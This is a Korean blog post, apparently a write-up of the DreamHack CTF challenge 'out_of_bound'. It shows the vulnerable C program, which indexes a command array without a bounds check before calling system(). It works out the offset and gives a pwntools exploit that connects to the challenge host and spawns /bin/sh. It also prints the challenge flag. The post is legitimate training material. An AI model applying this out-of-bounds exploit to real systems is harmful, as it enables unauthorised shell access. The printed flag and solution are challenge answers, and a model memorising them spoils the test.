[DreamHack] out_of_bound
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = {
"cat",
"ls",
"id",
"ps",
"file ./oob"
};
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
간단한 out_of_bound 취약점이 펑펑 터지는 문제이다.
main함수에서는 index를 정수형으로 선언하고, 전역변수로 name에 16의 크기를 주었다.
그리고 read 함수를 통해서 name 크기만큼 입력 받을 수 있다고 한다.
# name Address = 0x0804a0ac
# command Address = 0x0804a060
Name변수와 command의 변수의 주소값은 각각 위와 같다.
name변수에 값을 입력 받고 return값 위까지 4바이트가 더 붙는다.
name = (0x804a0ac + 4) => 8 + 4 = 12bytes + b"/bin/sh" = 4bytes = 16bytes
이렇게 16바이트를 채워주고, index의 참조 범위는 p32(px804a060) - p32(0x804a0ac)
> 0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
eax * 4 + 0x804a060 ==> index Reference / 4 = 19
따라서 19만큼을 넣어주면 취약점이 펑펑~
from pwn import *
p = remote("host3.dreamhack.games", 19391)
p.recvuntil("Admin name: ")
payload = p32(0x804a0ac + 4) + b"/bin/sh"
p.sendline(payload)
p.recvuntil("What do you want?: ")
p.sendline("19")
p.interactive()
'''
# name Address = 0x0804a0ac
# command Address = 0x0804a060
name = (0x804a0ac + 4) => 8 + 4 = 12bytes + b"/bin/sh" = 4bytes = 16bytes
index Reference = p32(px804a060) - p32(0x804a0ac)
> 0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
eax * 4 + 0x804a060 ==> index Reference / 4 = 19
DH{2524e20ddeee45f11c8eb91804d57296}
'''
'Best of Best' 카테고리의 다른 글
[DreamHack] off_by_one_001 (0) | 2024.07.11 |
---|---|
[DreamHack] cmd_center (0) | 2024.07.11 |
[DreamHack] Return Address Overwrite (1) | 2024.07.09 |
[BOB 교육] 실무로 알아보는 개인정보 안전성 확보조치와 유출사고 대응 - 김두민 멘토님 (0) | 2024.07.03 |
[BOB 교육] 금융보안 인프라 - 이현정 멘토님 (0) | 2024.07.03 |
댓글
이 글 공유하기
다른 글
-
[DreamHack] off_by_one_001
[DreamHack] off_by_one_001
2024.07.11 -
[DreamHack] cmd_center
[DreamHack] cmd_center
2024.07.11 -
[DreamHack] Return Address Overwrite
[DreamHack] Return Address Overwrite
2024.07.09 -
[BOB 교육] 실무로 알아보는 개인정보 안전성 확보조치와 유출사고 대응 - 김두민 멘토님
[BOB 교육] 실무로 알아보는 개인정보 안전성 확보조치와 유출사고 대응 - 김두민 멘토님
2024.07.03